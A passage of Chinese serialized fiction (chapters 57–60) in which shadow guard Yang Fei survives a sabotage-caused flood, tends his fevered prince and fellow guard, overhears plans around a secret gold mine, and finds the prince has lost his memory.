可也是堪堪才吸了两口空气就又被一个浪头狠狠地压了下去。 窒息。 他的双眼几乎看不清什么东西,他想张嘴呼救,想呼唤自己的爹娘,可张开嘴吐出的不是话语,而是那些汹涌地往他喉咙里灌的河水。 他连咳嗽的力气都没有。 渐渐地,他好像连拼尽全力伸出脑袋呼吸一口微薄的空气都做不到了。 徒留那双挣扎的手好似还能感受到一点带着水汽的疾风。 他很恐惧。 好像已经接近了死亡。 像是回光返照一般,他用着最后一丝力气靠近水面,透过浑浊又翻腾着冒白沫的洪水瞥见了冒出白云的太阳。 原来雨已经停了吗? 原来太阳已经升出来了吗? 如果再早一点就好了。 再早一点,他说不定就能活下去了。 洪水好可怕啊…… 他好冷…… 黑暗侵吞了他最后一丝力气,恍惚中好似看见了前路那些漂泊的烛火,又好像看见了熙熙攘攘沉默向前飘荡的人群。 他更害怕了。 难道这就是传说中的阴间x吗? 他难以抑制地升起逃离的欲望,可两条小短腿拼了命的扑腾,却也只能在原地挣扎。 直到他精疲力竭一个踉跄跌倒在地。 “呃——” 杨妃猛地睁开眼睛,一边打着哆嗦一边大口大口地喘气,他还没从那股如附骨之疽一般的窒息感中缓过神来,身体渴望空气难以控制。 猛地吸了几口气后,他才缓过神。 眼前闪烁着金星的朦胧白雾散去,杨妃揉了揉眼睛,意识到了方才那种濒死挣扎又无济于事面临死亡的绝望其实是一场梦魇。 他捂着胸口,心脏跳得极快。 他这辈子怕不是八字与水犯冲? 小时候那场水灾就已经足够让他印象深刻,能活下来也堪称天道庇佑死里逃生。 不成想拼搏数年竟又遇到了一次。 看情况,好像天道又垂怜了他一回,没夺了他这条小命留着他在人间。 杨妃艰难地扯出一抹微笑,视野恢复了清晰,脑子也重新运转。 他的王爷呢! 阴冷的风又一次吹过他的身体,失落落的衣料带走了最后一丝体温。 他如坠冰窖,视线迅速扫过四周,眯着眼看清了这个小山洞深处两个依偎着的身影,当即便要过去查看。 可他现在的身体状况实在不允许他做太大的动作,连想站起来这样简单的行为都做不到。 才将屁股从地上挪起一点的杨妃几乎摔了个狗吃屎,尝试失败后也只能手脚并用地爬过去。 是哪个好心人将他救上来的,怎么不好人做到底,偏将他放在洞口,害得虚弱的他连爬到那两个人身边都气喘吁吁。 杨妃虽然累极了,但看见那两个抱在一起但胸腔都有微弱起伏的人影时还是松了一口气。 老天爷待他终究是不薄的。 那种湍急的河流中活他一个已然是奢望,若是再连朱柿和王爷都活着便堪称神迹了。 谁能想到这种神迹就这样发生了呢! 杨妃艰难地挪动着身体和他们凑到了一块,肌肉颤抖着勉强抬起胳膊撂在了王爷颈侧,感受着下面的脉搏才是真的卸了口气。 王爷的脉搏强劲有力,摸上去却有些滚烫。 应该是落了水又受了风有些发热了。 他的目光扫过王爷全身,看见后脑处被砸的有些发肿的伤口心咯噔一下,伸手小心翼翼地按过去。 还好还好。 只是肿了。 杨妃很想渡过去一丝内力为王爷消肿,但他现在这个情况浑身上下就算是榨干了也挤不出一丝内力来,只能作罢。 他家王爷长这么大这应当还是第一回这样狼狈,身上那件贡品即丝绸制成的锦袍这会儿早都破破烂烂的了,身上常带的玉佩挂坠早都不知道被水冲到哪里去,就连腰带上镶嵌的翡翠都不剩一个了。 发冠什么的更别说了,他们三个都是一样的披头散发,头发里夹杂着的沙土连杨妃这会儿都觉得有点不适。 王爷真是受苦了。 但还得再坚持一会儿。 杨妃默默地压下了对王爷的心疼,开始探查朱柿的伤势。 现在的情况以他一个人连吃饱都难,若是朱柿能快些恢复状态,他们两个合力才有机会寻找其他分散的人手,将王爷带到安全地带。 杨妃不能不忧虑。 本来雨势渐小,那坚固的河堤已经足以应对这次的洪水。 可最后那些伪装成民夫的死士毫不犹豫的用自己的身体托举着火雷硬生生的将那河堤炸毁。 可见背后的人杀他家王爷的心有多么坚决。 敌人既有这样牺牲的觉悟,又不怕人瞧见他们以自身做炸弹,必是不可能再留下一个活口的。 他们虽然在众目睽睽之下被洪水冲走了,可王爷身边有护卫一直在侧敌人不可能不知道。 若是活不见人死不见尸,按杨妃的想法,敌人必是不可能安心的。 此刻他不知道自己昏迷了多久,也不知道这雨停了多久。 但他知道,说不定已经有敌人开始到处搜寻王爷的身影了。 就算从水灾中侥幸逃生,他们离脱离险境还有好长一段路要走。 杨妃的心怦怦地跳,靠近朱柿的这么短一点距离就足够让他额头冒汗了。 都虚成这个样了吗? 他擦了擦额角的汗水,多少有点不敢置信。 朱柿啊…… 杨妃看着他起伏的胸口,将力挽狂澜的期望集中在他身上。 他很看好朱柿! 又年轻、又有实力,这一次也一定能发挥重要作用的,对吧? 杨妃搭上了他的手腕,感受着比自己强壮了许多的脉搏心中就是一喜,紧接着感受到他极高的体温又是一凉。 他也受了风寒了! 虚弱和现状的冲击让杨妃的头嗡嗡的。 现在的情况是他们三个之中虽然是他体力状况好像最差,但却又是唯一一个没有发热的,短时间内又好像唯有他能清醒活动。 杨妃就没打过情况这么糟糕的仗。 可就算再难这事也得干。 他叹了口气,盘起腿开始打坐,争取恢复些内力输送给朱柿,让他也快些清醒好起来。 到了这个时候杨妃也不得不感慨祸福相依。 内力缓缓自丹田中生成,在经脉中流转缓步壮大,又一点点地化去那些堆积在他体内的药力,以一个比杨妃预想中还要快的速度恢复着他的伤势和体力。 这还得感谢受伤的时候王爷不计代价又不管不顾地给他喂了那么多好东西。 谁能想到这个时候竟然又用上了呢? 感觉自己恢复了一些,杨妃小心翼翼地将朱柿怀里的王爷拖出来,手撑在他脑后的伤口处缓缓将他放到一侧躺好。 又将瘫着的朱柿摆的做起来,手抵在他背后把才聚起来的内力输送给他。 朱柿这家伙这一回也是辛苦了。 杨妃能想象到他是多么艰难地在那样湍急的河流中拖着王爷又拖着失去意识的他,又是怎么撑着一口气寻找到了这样一个勉强栖身之所。 唉。 不过这小子也真不拿他这个老大当人。 平常哥哥长哥哥短的叫着欢脱,真遇到了事情可是不拿他当一回事。 杨妃心中腹诽,却没有什么责怪的意思,他知道朱柿已经尽最大的努力了。 对于他们这些人来说,主子若是死了,也就没有了存在的意义,无论到什么时候保护王爷的安危都是第一要务。 相对于这个,旁的就都不重要了。 面对同伴和王爷都进入昏迷状态,自身也是强弩之末的朱柿只能将王爷抱在怀里,避免因为失温而丧生。 而他这个重伤刚愈有没有意识的同僚,放在狭长的洞口挡风也算是废物利用。 杨妃完全理解,若是换成他的话也会这样做。 但这一点也不妨碍他在心里悄悄地戳朱柿脑袋。 杨妃的内力在朱柿的经络中转了一圈又一圈,直到他又觉得自己丹田枯竭才停了手收功。 还好朱柿不曾疏于锻炼身体状况不错。 体内有了内力,他这会儿摸上去好像额头的温度都下降了一些。 既然有效果,勤勤恳恳的杨妃便继续做起内力的搬运工,直到将自己累得头晕眼花肚子也咕咕作响才停下。 他摸了摸自己的肚子,以他的抗饿程度和运动量来看,此刻距离他们落水很可能已经过去了两天左右。 王爷可没有被饿过这么长时间。 杨妃有些担忧地看着睡得人事不醒的王爷,有心出去寻觅一些食物,可一看朱柿也没清醒,实在不放心将这两个昏迷的人就这么放在这里。 身上布置简易机关的玩意儿早都随着水流不知道冲到哪里去了。 他站起身子,双手毫不留情地放在朱柿身上,在他的胸襟腰带里仔仔细细地摸了个遍,也没找到自己想要的东西。 杨妃有点失望。 他本来看着朱柿相对于他和王爷衣衫还算整齐,寻思着他身上还能有些好东西剩下呢。 结果谁能料到他们两个竟然不相上下。 杨妃多少有点不甘心,目光如同鹰隼一般扫过朱柿全身,心想着影卫常藏东西的地方他都搜过了,但也说不定他藏得更隐蔽,于是干脆在他身上地毯搜索了起来。 “老大,你这是干什么?”朱柿的声音虚弱极了,可话里的意思却让杨妃想给他两巴掌,好让他清醒清醒。 “虽然说我是你的救命恩人,但以身相许就不必了。” “……” 第58章 “而且虽然咱们两个关系不错,可以相托性命……”朱柿拉长了音调,眉毛微挑目x光在自己的衣襟和杨妃的手上来回徘徊,“也不代表咱们两个的关系能进展到这种……深入探索的地步。” “老大。”朱柿眨了眨眼睛,面上无比真诚,“你可不能趁人之危恩将仇报啊。” 轰—— 杨妃只感觉有一个火雷兜头直接炸在他脑袋里,将他炸的面红耳赤头脑发晕气血翻涌。 他实在有点受不了了,伸手捂住了朱柿那张乱说话的嘴。 他以为这么长时间里被王爷那些想东想西过分揣测的心声锤炼的已经脱敏的他对这些话再也生不起一丝波澜。 却没想到这样的话语真的打嘴里说出来和心声造成的冲击差那么多。 他得承认,这已经超过了他承受能力的上限。 杨妃深呼一口气,按在朱柿嘴上的手还能感受到他呼出的炙热气流。 他还病着他还病着。 杨妃眼不见心不烦的闭上眼,反复给自己洗脑,从心里强榨出一丝对病人的怜惜,这才放下了那只已经举起来准备扇在朱柿脸上的手。 这是他的救命恩人,说两句就说两句吧,这孩子向来嘴上不饶人,他有肚量。 “你这样把手放在我的脸上,我心里更不安了,万一你……” “咚!” “啊,痛!” 杨妃刚按捺下去动手的心,攥着他的手腕把他手扯下来的朱柿却没有一点死里逃生的后怕,只拿着他那张死都硬的嘴不气死杨妃不罢休。 忍无可忍无需再忍。 杨妃是个影卫,动手的事儿干得多,忍耐的时刻少得很! 他再忍下去他就是王八了,老大的威严荡然无存! 于是他毫不留情地给了朱柿额头两个爆栗。 对伤者唯一的仁慈也就是让他没用内力。 当然,其中也有一部分他现在身上内力所剩无几的原因。 哼。 杨妃对着不停揉自己额头的朱柿翻了个白眼,心中那丝绝境中终于有了同伴的喜悦消失殆尽。 他又给朱柿渡去一丝内力,收起了方才的心思重新严肃起来。 “现在情况危急,你和王爷都发热病了,少说两句话节省点你的体力。” 杨妃冷酷无情地开始给朱柿安排任务。 “你赶紧运功,等你稍稍恢复一点,我就出去打探下情况寻找些草药。” 杨妃兀自盘腿坐好了,也开始让自己恢复些体力,也没忘记将现状和朱柿分析一下。 主要是说一些他猜测的那些可能一直搜寻王爷下落的敌人。 这是他们现阶段在寻找支援回到安全地带的最大阻力。 “说起来我们的运气还真不错。”朱柿恢复了些力气,脱下了自己略显褴褛的外衫搭在王爷身上,还将王爷重新摆弄成了一个他认为舒服的姿势。 “那样湍急的水流我竟然能将两个意识全无的人一路拖到这里,便是神仙下凡也不为过了。” 他得意地自夸,拿小眼神儿偷看着杨妃,边说边停顿,好似在期待什么回答。 “确实饶天之幸。” 朱柿应该是第一个能在杨妃面前扬着下巴装的人,但他也承认,这一次多亏了他。 “当时堤坝上那么多人也不知道能活下来几个。”见惯了生死的杨妃也不免叹息一声。 人力尚能抵抗,这样无情的天灾却只能听天由命。 “能活下来几个?”朱柿歪了歪头,认真思考了一番,“便是只活下来咱们三个我都不觉得奇怪。” “别说当时堤坝上的人了,就整个地区能活下来的百姓说不定都屈指可数。” 他的一句话让杨妃也陷入了沉默,记忆中洪灾过后的惨状,那些险些被人放进锅里充饥的情景无比清晰。 杨妃知道,这一回十有八九比上一次还要惨烈。 他依稀记得小时候那一回洪灾还会有大人看着雨势提前有所猜测带人上山上走,也有经验丰富的村长带着大家携着干粮财物撤离,虽然说最终也没能逃得了洪灾的范围,但也算是早有准备,譬如他这样的小娃娃不就留下了一条命? 可这次呢? 河道总督对自己建设的堤坝非常有信心,参与堤坝建设的百姓也知道那东西真材实料。 而堤坝建设又常常就地招募民夫,他们的一家老小都在这里,人人都相信这堤坝坚固无比。 他们都信自己认真建设的工程能抵御这次天灾,没有一个人提前撤离,哪怕是王爷接到急讯带着他们赶往堤坝的时候,还照样有人顶着大雨做着日常生意。 没有一个人提前逃离。 就连河道总督一家老小也是如此。 正因为如此这次洪灾注定惨烈。 那上游的河水奔涌而来的时候下游的百姓或许甚至还不知道发生什么,也许在眨眼间便已经随着洪水和那些被冲塌的房屋一并远去。 杨妃再也说不出话来。 他想到了这些,又想到那些扮作侍卫的影卫们,那些守在府邸中的影卫们。 也不知道他们再相见的时候还能剩下几个熟面孔? 自觉冷酷的杨妃这会儿也感觉鼻子堵堵的,他沉默了良久,伸手又摸了摸王爷的额头。 事情已经发生,再多的悲伤难过也无济于事。 相比于过去,他最应该做的事情就是将王爷照顾好,和王爷一起活着回去。 然后有仇报仇、有怨报怨。 把炸毁堤坝的罪魁祸首揪出来,也好告慰因洪灾而死的百姓与同僚们的在天之灵。 “王爷还烧着,我们身上都没有什么武器了,我先出去捡些树枝,你弄些简单的暗器来警戒。” 杨妃站起身,身上湿透的衣服已经被体温蒸的半干,他伸手掸了掸,抖落了一些河沙。 “我也得去找些草药来应急,现在怕被人发现没法生火,免得王爷晚上烧的严重。” 朱柿看着杨妃叽里呱啦的说了一长串,有注意到他发白的唇色,知道他重伤刚好又遭了这样一番波折恐怕体力难以为继,不由得皱了皱眉。 “便是再急也不急这一时半刻。”他劝阻道,“你现在虚的很,这样的体力活岂不是给你脆弱的身板雪上加霜?我也不过是发热些,身体还好得很,你待我多积攒些内力自然就退烧了。” “到时候由我出去寻找也就是了。” 朱柿是真心实意地为杨妃担忧,他觉得自己身体倍儿棒,一时间在冷水中挣扎许久导致发热也不过是暂时的,完全没有必要让体虚的杨妃去冒这个险。 可杨妃听着他这一番剖白的关心嘴角却忍不住的抽搐了一下。 什么叫做他体虚啊? 他没好气地打断了朱柿的长篇大论,“行了,我去去就回,不会走太远。” 想了想,他又觉得孩子这会儿刚是独自完成了一件大事,正是信心和能力爆棚的时候,如此打压孩子的积极性不太好,便又补充了一句。 “你抓紧时间好好恢复,到时候我们两个换班,也好叫我休息一下。” 见他退了一步有承诺轮流工作,朱柿虽然还有点不满,但知道让杨妃改变主意已经不易,便点头应下,闭上眼就开始运功。 杨妃小心翼翼地接近洞口,外面静悄悄的,视野之中多的是黄土,而少植被树木。 他也是出去之后才发现他们藏身的地方根本不是什么所谓的山洞,而只是黄土之下的一个小坑洞。 可能过去是什么小动物的窝,而现在废弃了。 他钻出去,向有植被的地方走去,捡了一些还算笔直的枯枝堆在树下,三下两下爬上了枯树极目远眺。 此时的雨已经停了,太阳正亮,可他向远处看去,仍能看见那些浑浊发黄不停奔涌的河水。 他们现在的地方离洪水覆盖的地方不远,只不过仗着地势高一些免受了洪灾。 杨妃神情严肃,离洪灾不远也就意味着除了他们还可能有其他避难的人躲藏到这里。 他们的人搜救王爷有极大可能首先在这里寻找。 同时,也意味着这里很容易成为敌人重点搜索的地区。 杨妃不知道这两拨人到底是谁先找到他们,未来的不确定也催促着他赶紧想办法恢复他和朱柿的体力。 若是自家人自然皆大欢喜。 若是敌人…… 少不了得一场奋战。 对杨妃来说,他觉得最好的状况就是他和朱柿率先恢复了体力,抢在所有人找到他们之前主动找到自家人。 这样是最好的。 他跳下了树,x抱着那一堆枯枝重新回了小坑,将它们丢到朱柿身边。 “我们这里的距离离河流很近,很容易有人找来,你将这些削尖了,我们也算不是手无寸铁。” 他简明扼要地说了两句,步履匆匆地又消失在了朱柿的视线之中。 王爷的脸被烧得通红,再加上他那发白的唇色,看上去好不可怜。 杨妃看着他都觉得心惊胆战,生怕王爷真的病重了。 他急急急! 草药在哪里?! 这块地方比杨妃预想的还要贫瘠,放眼望去满是没有任何营养的黄土,绿色植被少得可怜,能入药的就更少,对症的也是寥寥无几。 杨妃不得不扩大了搜索的范围,勉强采了一些,扯了自己半截衣服做了个简单的包裹,裹着草药背在背上。 他目光紧紧地盯着所有绿色植物,很怕自己一个走神便错过了网页恢复的希望。 可走着走着,敏锐的听力便让他听到了远方不远处传来的人声。 乍一听到声音,他心中没有欣喜。 杨妃顿时警惕了起来,挖草药时临时找的一块尖锐石头被他握在掌心,他慢吞吞的放慢放轻了脚步,借着石块和植被的遮掩,小心翼翼地朝那边望去。 目之所及是几个身穿铠甲却满身匪气的官兵。 “狗头娃,你说咱们头儿到底死了没?依我看他九成九是活不了了。” 那个大胡子男贼兮兮地凑近另一个另一个瘦干儿似的男人,眼神四下张望,小声说,“不如咱们大伙把里边的东西吞了吧?” “哪怕只分上一点,便是十辈子也花不完呢。” 第59章 杨妃挑了挑眉,按耐住自己的动作藏得更严实了些,仔细地听着他们说的话。 他敢拿自己这么多年的工作经验发誓,这些瞧上去有两分像官兵的人绝对不是登记在册的官兵。 更像是伪装成官兵能光明正大呵退百姓的土匪。 也不知道他们在这里看守什么东西,听上去还是很值钱的样子。 这就更有意思了。 什么来钱的门路不能让他家王爷知道? 深知王府开销和收入有几何的杨妃可不嫌钱多,今天竟让他碰着了,断没有转头就走的道理。 他藏的隐蔽,那些看守虽身体强壮但内力一般,这会儿又满脑子都是自己的小心思,哪里能想到还有别人躲在暗处偷听。 “哎哎哎,你可别瞎说!”瘦干儿没想到这大胡子胃口竟那样的大,胆子也不小,还什么话都和他说。 他可没有那样的心,一时间被吓了一跳,“你可真是什么话都往外说!” 他连忙抓着大胡子的胳膊使劲掐了一把,连劝阻的声音都放得极低。 “你有几个脑袋够吞下这里的东西?若不是那些位高权重吃皇粮的,但凡你我这样的白丁敢伸爪子摸上一把,满满的脑袋都别想要了!” 瘦干恨不得今天没被安排到和大胡子一起看守,凭借着同僚那点微薄的良心劝阻了两句,就连忙向旁边跨了几步,生怕大胡子脑袋一热真的干了在让别人认为他们两个是一伙的,遭了无妄之灾。 “瞧你这话说的,这里头的利害我还能不知道吗?” 大胡子瞅他那恨不得割袍断义划分界限的样子直翻白眼,他对里面的东西心动极了,但也知道不能说拿就拿,起码独他一个人拿那是万万不行的。 他有心将这一班的兄弟全都拉到自己的船上,自然不肯就这样放弃。 “这不是此时非彼时吗?”他努力对瘦干陈述利弊,“咱们干了这么久,那里边的东西最终运到哪里去还不知道吗?” “全都运到河道总督府上去了!” 大胡子像是在说什么独家秘密似的,瘦干不屑地冷哼了一声没回话。 大胡子也不管他的冷酷自顾自地往下说,“虽然不知道离了河道总督府又送去了哪里,但在这个地界儿他就是最大的官了。” “以往也就罢了,咱们就老老实实干活拿个封口的好钱儿,用着也踏实。可现在么……” 大胡子的眼中闪烁着贪婪的火光,“我可打听的真真的,那狗官发洪水的时候正在坝上,早都不知道冲到哪里去了,到现在都不见人影呢。” “这种天灾之下,他必是十死无生了。” 大胡子笃定地说,激动之下声音也渐渐加大,吓得瘦干一巴掌拍在他的脑门上,“你怎么不嚷嚷的让所有人都知道呢!” 他呵斥了一声,捂着嘴犹豫了一下又小声说,“果真?” “真!太真了!” 大胡子眼见有戏,竹筒倒豆子的把自己的想法全都吐露了出去。 “就算真正拿东西的人想要安排别人再来,也不是一日两日之功。咱们也不贪,便是指偷偷分了一日两日的产量,也够咱们下半辈子锦衣玉食了。” 他说的眉飞色舞,一边讲着一边慢慢侧过身,眼神紧盯着身后那个洞口,像是要把里面看穿,手紧张地搓着自己的衣角。 大胡子咽了一口唾沫,“这可是金矿啊……” “挖了两年都没看到尽头的金矿啊……” 他好像已经想到了自己拿着金子潇洒的快乐时光,眼神都有些迷离。 瘦干能在这里工作又能是什么样正直的好人? 他也心头火热,话里却还带着两分犹疑,“又不是只有我们两个在这里守着,那里头几步就是一个护卫,还有不少挖矿的奴隶,想要从里面分一杯羹,这事须得做得万无一失才行。” “我都想好了,趁着所有人都在忙水患,这几天就是我们动手的最佳时机,到时候我们……” 大胡子后面说的话杨妃已经没有在听了,准确地说当他们说出里面是金矿的时候杨妃就又激动又紧张了。 这些个看守的未知全貌,他知道的却不少。 如果背后的人当真是河道总督,那这些金子的去向在杨妃这里就已经非常明朗了。 是四皇子。 杨妃深呼了一口气,缓缓退离了这里,又寻了些能入口的野菜野果,打了只不太肥的兔子,携着包好的草药满载而归地往回走。 他知道,留给他们休养的时间更加少了。 若他们所说句句为真,等这里的消息传回京中,四皇子首要关心的便是这里的金矿,他会在第一时间就派人来金矿查看,附近的所有区域他都不会放过。 若是到时被四皇子的人发现,他们的下场也只有一个死字。 换做是他,若是发现四皇子处在这种险境,也是不用等王爷的命令,会直接下手的。 天灾啊,多么好用的借口。 杨妃蹙着眉,心里紧张身体又虚,这一番运动下来额头的汗水又浸湿了鬓发。 四皇子可真是好运呢! 杨妃一想到金矿竟也如那两个人一般心头火热。 金矿是确确实实的一笔横财,仰仗着它便是想训练出一队人强马壮的精兵也不是不行,对于当朝这些仅有护卫而据没有兵权的皇子来说简直是天赐的礼物。 这样的好东西怎么就叫四皇子的人发现了呢? 杨妃都替王爷觉得嫉妒。 真可恶啊,要是现在他们的人马都在这里就好了。 杨妃也不由得畅想一下他们趁水灾之机,在经管的河道总督失踪的好时候狠狠咬下金矿一口肉的美妙场景。 不过现在想这些都是徒劳的,若王爷尽快到安全境地收拢了人手,想捞上一笔倒不是完全不可能。 他一边想着脑海里又出现了王爷烧的脸色通红的场景,不由得加快了脚步。 这一趟死里逃生也算是阴差阳错地揪住了四皇子的尾巴。 要是他们不能在这金矿里捞上点什么…… 杨妃的眼中闪过一丝冷意。 那他就撺掇王爷把四皇子私采金矿、私养官兵之事捅到那位小心眼的陛下手里,若是再能把四皇子钉在意图谋反的耻辱柱上就更妙了。 如此想着,杨妃也微微勾起嘴角。 他现在算是知道河道总督为什么没有贪墨河工建设的款项了。 感情是他完全可以在这笔凭空出现的金子里贪墨,比起贪图朝廷给的简直简单了不知道多少。 若是他没猜错的话,他一力总管金矿的私采,只怕连四皇子都不知道这金矿到底产出几何。 有了这些东西,料想那河道总督也看不上朝廷拨的那一点银子了。 怪不得他拿捏着一副清官不怕查的高傲样子,自己生活却还能过得奢靡。 杨妃叹了口气,为自己大半夜闯人家密室x搬回来账本和那些个挑灯夜里扒拉算盘所付出的辛苦默哀。 他也不想白白干活,可金矿这种事情哪里是他能料得到的呢? 算了,暂且不去想那许多了。 既然金矿的开采地在这里,那么这座山上的人数一定不止他看见的那两个,他们还是早早的恢复体力速走为上。 杨妃捧着自己撕碎衣襟包裹着的一大堆东西,穿着一身堪比乞丐的衣服,谨慎地扫清路上行动的痕迹,稍绕了些路回到了藏身之所。 他在洞口处站住,刻意弄出了些声响让里面的朱柿听见免得他们两个之间由于警惕再过上两招白白地浪费了体力,然后才弯腰走了进去。 王爷还昏睡着,朱柿在他走后应该出去过一趟。 杨妃环视了一圈,看着王爷身下垫着的干草,有些懊恼。 可恶,他怎么觉得自己在体贴王爷这方面好像输了朱柿一招。 他走之前怎么就没想到捡些干草来垫在王爷的身下,免得王爷被石子硌到呢? 失策失策。 他将东西放在地上,解开系着的的布料,招呼着朱柿将兔子料理了。 若是只有他和朱柿两个,为了避免被旁人发现,这兔子他俩就生吃了。 可现在王爷在这里说不定什么时候就醒了,到时候他俩总不能拿着生兔肉去喂王爷吧? 朱柿用不着杨妃说也知道他在想些什么,出去弄了些泥巴又捡回了些干柴,也算是将兔子弄熟了。 没有调料,这兔子除了熟了之外没有一点滋味。 杨妃撕了些瘦肉给王爷留着,和朱柿就着鲜果垫了垫肚子。 吃过了饭,杨妃感觉有些困顿,他盘着腿靠着坐,看着朱柿将他拾回来的草药研磨了一番混成膏子一点点喂给王爷,小声地将他今天的发现讲给朱柿听。 金矿的事无论谁听着都觉得意外,朱柿一个手抖差点没将竹片里盛着的药膏怼到王爷鼻子里。 “什么——” 朱柿难以置信,音调上扬又被强行压下去显得有两分怪异。 “那么多的钱!合该全是我们的!” 朱柿恨得牙有点痒痒,那小表情看得杨妃险些笑出声。 “你那一副主子的财产被别人抢了的表情是做什么?” 杨妃头一回发现朱柿对别人的财产有这么大的占有欲,他也仅仅想吃下一块肉,这家伙倒好,想全都吞了。 “若是我们不知道也就罢了,知道了还不拿下,我以后都会睡不着觉的。” 朱柿不满地嘟囔,看杨妃的眼神多少有些恨铁不成钢的意味。 “你在这里缓缓神照顾好主子,我去那边看看。” 朱柿实在坐不住了,他捡起了地上那些被他削尖的树枝,急匆匆地就出去了。 他走了,杨妃不敢睡,闭上眼勉强休息了会儿,就听见昏睡的王爷那里传来了一点小动静。 !!! 太好了王爷要醒了! 杨妃一下子来了精神,扑一般地冲到王爷身边,看王爷的眼神像是瞧见什么救星一般。 等王爷被烧的头脑昏沉缓缓睁开眼睛的时候,看见的就是发丝凌乱脸色也不太好,可容貌却冷峻的男人。 王爷缓缓眨了眨眼睛,目光环视四周,对这种陌生又落魄的场景有点迷茫。 他感觉自己嘴里苦涩异常,浑身又热又冷,脑袋又昏又痛,连张嘴都好似能尝出来点血腥味,嗓子也又干又痛,整个人难受的不行。 王爷莫名地觉得有些委屈,吞咽了一口苦涩的唾沫,紧紧地皱着眉头。 “这里……是哪里?” 他硬撑着自己想要坐起来,最后在非常有眼力见儿的杨妃搀扶下才勉强靠着坐。 王爷还觉得浑身不舒服,手撑着底下铺着的干草,掌心被划的一阵阵的痛。 “你是谁?” 第60章 王爷实在没能从这种简陋的环境里获得更多的信息,便只能将目光投到在场的唯一一个活人身上去。 他不认识这个人,可看到了这个人却莫名地觉得很安心。 也许和他长得非常符合自己的审美有关。 王爷对从前的自己没有一点印象,不确定自己是不是一个看见长得好看的人就要跟人家走的轻浮人士。 但他觉得如果跟着这个人走的话,他行。 “我应当是流落至此吧……?”王爷有点不太确定地问。 他能感受到自己生病了状态不佳,也瞧见了身上堪堪能蔽体的衣物,甚至能感受到衣物之间有粗糙的沙砾。 一看他就是逃难的。 王爷看着那个陌生人的眼神中都带着一丝感激。 他虽然什么都不记得了,但也知道这种逃难的时候人向来都是只顾自己的,像这个人这般还能对其他人、尤其是他这种一看就虚弱的人施以援手,那真是绝无仅有的大好人了。 王爷庆幸自己能有这样的好运,不止被人救了,还是被这样一个……英俊的人救了。 “你就是我的救命恩人吧?”王爷眼睛眨也不眨地看着他,有些激动。 若他们两个之中有一个不是男子就好了,那他就可以光明正大地说愿意以身相许了。 王爷被自己的想法惊了一下,马上就清空脑子里的胡乱想法,隐隐猜测自己失忆之前恐怕不是个好人。 谁家好人见到救命恩人脑子里能闪过那种回报想法啊? 就他这个狼狈到差点衣不蔽体的现状,娶了谁都属于报复了。 王爷呼出一口热气,重新看着救命恩人,眼神中是满满的赤诚。 “多谢恩人救命之恩,在下便是赴汤蹈火也会报答。” 他说这话的时候认真极了,虽然以目前狼狈的姿态来看这话听上去多少有些像是虚假的场面话。 可王爷不知道为什么,他的潜意识就是告诉他,他有那个能力带别人吃香的喝辣的,甚至再进一步封侯拜相也不是不可能。 王爷被自己脑子里的想法激的打了个冷颤,歪了歪头,面上闪过一丝犹疑。 封侯……拜相? 他为什么觉得自己能做到这个? 嘶—— 这也太自信了吧。 王爷在心中唾弃了一番自己不切实际,可救命之恩他又不能不报,于是他又谨慎地措了一遍辞。 “在下现在虽然身无分文,但总有一日必报先生救命之恩!” 王爷虽然有些虚弱,可也坚定地握紧了拳给自己加油打气。 他执拗又认真地看着眼前的救命恩人,希望他能相信现在这个狼狈的像是乞丐一般的人的话。 可他来来回回不知道说了多少句,眼前这人都无动于衷,一句话都不曾说,只呆呆地看着他,那双眼睛里迷茫又清澈。 看上去好乖啊…… 王爷感觉自己的心跳有些加速,面前这人虽然什么都没做,可现在这个样子却引得他好想伸手摸摸他的头。 “咳咳。” 王爷尴尬地移开了目光,两只手握在一起使劲捏了捏蠢蠢欲动的手指,又掩饰性地抬手咳了咳,很是心虚。 他竟然是这种不要脸的登徒子吗? 看见了陌生人好看就要伸手去摸人家的头? 太冒昧了! 王爷兀自尴尬了一会儿,见还没有人说话,又开始猜想是不是那人不愿意搭理自己,心中便升起一丝难过来。 这情感来得奇怪,他摸不清自己到底在想些什么,也觉得不该如此,猜测胸口处的憋闷可能是因为身体状况不佳导致的。 王爷的情绪来得快去得也快,他眨眼间就安慰好了自己,又暗自加油打气,鼓足了勇气转过头去看着那个一声不吭不搭理自己的人。 他肯定不是不想理他。 王爷这样想着,目光落在那个陌生人微张的嘴和喉结上。 眼神带着一丝爱怜。 “对不起,我不知道你不能说话……” 他愧疚极了,有些暗恼,不敢再去看那一双清澈的眼睛,便低下头去,盯着自己身上布条似的衣服发呆。 可恶! 他怎么就没好好观察一下自己的救命恩人,下回说话之前一定要过过脑才行! 这下好了,还没来得及报恩呢就将人家得罪了。 王爷愁死了。 杨妃也愁得不行。 他看着王爷醒了本来欣喜若狂,小心翼翼地将王爷扶起来还没来得及说上一句话,就被王爷一句“你是谁?”狠狠地砸在了脑袋上。 直砸的他三魂好似飞出身外,整个人恍恍惚惚。 他迷茫极了。 现在这种情况有点超出他能力范围之内了。 杨妃本也虚弱,之前的困顿强压着,x现在心情跌宕起伏之下疲惫和困意有如海浪一般袭来,他的头也晕晕的,脑子有些宕机。 就连发烧的王爷现在都比他多两分力气,杨妃就那么听着王爷自顾自地给他们两个的关系定义成了救命恩人与被救的幸运儿,听着王爷做出报恩的许诺。 感觉头更昏了。 他张了张嘴,眼神呆滞,一时间却不知道该和王爷说些什么。 他只是在想…… 王爷现在……还有救吗? 杨妃的脑袋里回荡着这样一句话,世界渐渐被他调成静音,耳朵里只有尖锐的鸣叫声,他的眼睛就那么看着王爷的嘴一张一合,可却什么都听不见。 渐渐地,连眼前的东西也变得白茫茫的。 杨妃缓缓地闭上了眼睛。 他需要静一静。 然后好好思考一下现在这种情况。 这边的杨妃试图稳住心神,那头的王爷瞧见他的救命恩人缓缓地闭上了眼睛一副摇摇欲坠的样子,还以为是自己的话刺激到了他,一时之间也有些慌了神。 “恩人!”王爷大喊了一声,不知道哪里来的力气伸手竟扶住了杨妃的肩膀。 他先是被杨妃胳膊上紧绷的肌肉惊了一下,紧接着又被自己惊了一下。 他难以置信地迅速收回了手,茫然地在空中张开手又合上。 完蛋了,他没有救了。 王爷有些绝望地看着自己的手。 他现在肯定自己失忆之前不是什么好人,有极大的概率就是那种在大街上调戏别人的登徒子。 不然怎么解释他本来是想扶着恩人,可手搭在人家胳膊上感受到人家的体温,竟然十分自然地捏了两下。 不过恩人的体格还真是不错,胳膊上的肌肉捏上去好紧实…… 呸呸呸! 变态! 他怎么能才见这人一面就动手动脚的! 就算他觉得这人处处都长在他的审美上,一见了便觉得安心欢喜也不行啊。 单方面的一见钟情不代表可以随便上手啊! 